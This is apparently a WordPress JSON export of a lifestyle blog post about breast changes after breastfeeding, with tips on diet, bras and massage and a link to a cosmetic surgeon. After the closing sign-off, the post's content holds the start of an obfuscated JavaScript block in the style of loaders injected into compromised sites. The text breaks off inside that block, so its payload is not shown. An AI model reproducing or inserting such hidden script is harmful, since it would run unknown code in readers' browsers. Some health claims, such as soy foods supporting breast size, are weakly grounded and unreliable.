{"id":9084,"date":"2022-07-18T17:48:48","date_gmt":"2022-07-18T12:18:48","guid":{"rendered":"https:\/\/brynfest.com\/?p=9084"},"modified":"2022-07-18T17:51:53","modified_gmt":"2022-07-18T12:21:53","slug":"dealing-with-changes-to-your-breasts-after-breastfeeding-has-ended","status":"publish","type":"post","link":"https:\/\/brynfest.com\/dealing-with-changes-to-your-breasts-after-breastfeeding-has-ended\/","title":{"rendered":"Dealing With Changes to Your Breasts After Breastfeeding Has Ended"},"content":{"rendered":"<p>The average woman in the US has a <a href=\"https:\/\/www.healthline.com\/health\/average-breast-size#:~:text=Your%20breasts%20are%20unique&amp;text=The%20average%20bra%20size%20in,example%2C%20the%20average%20is%2036DD.\" rel=\"nofollow noopener\" target=\"_blank\">bra size of 34DD<\/a>. That&#8217;s before women start with motherhood and breastfeeding. For many, they return to their original bra size after some time.<\/p>\n<p>However, you might not return to what you used to be. The last stage of motherhood might leave you with changes to your breasts that you might not like.<\/p>\n<p>Here is what to expect when trying to prevent breast changes after breastfeeding.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_49 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"ez-toc-toggle-icon-1\"><label for=\"item-662a138137089\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-662a138137089\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/brynfest.com\/dealing-with-changes-to-your-breasts-after-breastfeeding-has-ended\/#Why_Breasts_Change_After_Breastfeeding\" title=\"Why Breasts Change After Breastfeeding\">Why Breasts Change After Breastfeeding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/brynfest.com\/dealing-with-changes-to-your-breasts-after-breastfeeding-has-ended\/#Tips_for_Maintaining_Good-Looking_Breasts_After_Pregnancy\" title=\"Tips for Maintaining Good-Looking Breasts After Pregnancy\">Tips for Maintaining Good-Looking Breasts After Pregnancy<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/brynfest.com\/dealing-with-changes-to-your-breasts-after-breastfeeding-has-ended\/#Take_Alternative_Showers\" title=\"Take Alternative Showers\">Take Alternative Showers<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/brynfest.com\/dealing-with-changes-to-your-breasts-after-breastfeeding-has-ended\/#Diet_for_Breast_Improvement\" title=\"Diet for Breast Improvement\">Diet for Breast Improvement<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/brynfest.com\/dealing-with-changes-to-your-breasts-after-breastfeeding-has-ended\/#Wearing_the_Right_Bra\" title=\"Wearing the Right Bra\">Wearing the Right Bra<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/brynfest.com\/dealing-with-changes-to-your-breasts-after-breastfeeding-has-ended\/#Get_a_Breast_Massage\" title=\"Get a Breast Massage\">Get a Breast Massage<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/brynfest.com\/dealing-with-changes-to-your-breasts-after-breastfeeding-has-ended\/#Be_Confident_with_Your_Post_Pregnancy_Breasts\" title=\"Be Confident with Your Post Pregnancy Breasts\">Be Confident with Your Post Pregnancy Breasts<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Why_Breasts_Change_After_Breastfeeding\"><\/span><strong>Why Breasts Change After Breastfeeding<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>After breastfeeding, a woman&#8217;s breasts may change in size, shape, and appearance. There are those that would have sagging breasts and situations where their breasts shrink.<\/p>\n<p>These changes are due to the loss of milk-making tissue and the expansion of fatty tissue. The skin of the breasts may also become stretched and dry.<\/p>\n<p>These changes are usually temporary and will improve with time. If a woman is concerned about the changes to her breasts, she should speak to her healthcare provider. You can also get a <a href=\"https:\/\/www.kevinbrennermd.com\/procedures\/breast\/breast-augmentation-with-lift\/\" target=\"_blank\" rel=\"noopener\">breast lift by Dr. Kevin Brenner<\/a> to fix sagging breasts and to improve their overall appearance.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Tips_for_Maintaining_Good-Looking_Breasts_After_Pregnancy\"><\/span><strong>Tips for Maintaining Good-Looking Breasts After Pregnancy<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It&#8217;s not uncommon for a woman&#8217;s breasts to change after she&#8217;s finished breastfeeding. You must take care of your health and body to avoid drastic changes. Here are a few tips for dealing with those changes and maintaining gorgeous breasts:<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Take_Alternative_Showers\"><\/span><strong>Take Alternative Showers<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Soaking in a warm tub may help to ease any discomfort and engorgement. Applying a warm, wet compress to your breasts may also help. Then alternate to a cold shower as it can improve the blood circulation in your breast.<\/p>\n<p>However, this method can only show interim results. But in doing so, you can avoid getting conscious about the appearance of your breasts.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Diet_for_Breast_Improvement\"><\/span><strong>Diet for Breast Improvement<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A <a href=\"https:\/\/brynfest.com\/how-to-adopt-a-healthy-diet-as-a-single-working-dad\/\">healthy diet<\/a> can combat your skin&#8217;s elasticity and enhance muscle tone. It can help in making your skin more supple and look more firm.<\/p>\n<p>Also, consume foods rich in phytoestrogens as they can replicate the estrogen in our body. Soy products, flax seeds, and tofu are rich sources that can support a good breast size.<\/p>\n<p>Include foods high in protein and antioxidants, such as fish, nuts, and berries. It would be best to stay hydrated by drinking plenty of water.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Wearing_the_Right_Bra\"><\/span><strong>Wearing the Right Bra<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Supportive bras with underwire can help to lift and shape your breasts, making them look more youthful. Avoid too tight bras, as they can cause discomfort and further damage your delicate skin. If you are not sure what type of bra to buy, consult with a lingerie specialist who can help you find the perfect fit.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Get_a_Breast_Massage\"><\/span><strong>Get a Breast Massage<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>It will help increase circulation and drain any residual milk that may be present. It is also a great way to relax and de-stress. Be sure to use a light touch and avoid any areas that are sore or tender.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Be_Confident_with_Your_Post_Pregnancy_Breasts\"><\/span><strong>Be Confident with Your Post Pregnancy Breasts<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Although the changes to your breasts after breastfeeding can be challenging to deal with, there are ways to help ease the transition. Wearing a supportive bra, getting breast massages, and a proper diet are a few ways that can help your breasts regain their shape and firmness. If you are concerned about the changes to your breasts, speak to your doctor to find the best way to help you feel comfortable with your new body.<\/p>\n<p>Please visit our website if you are interested in more tips and advice!<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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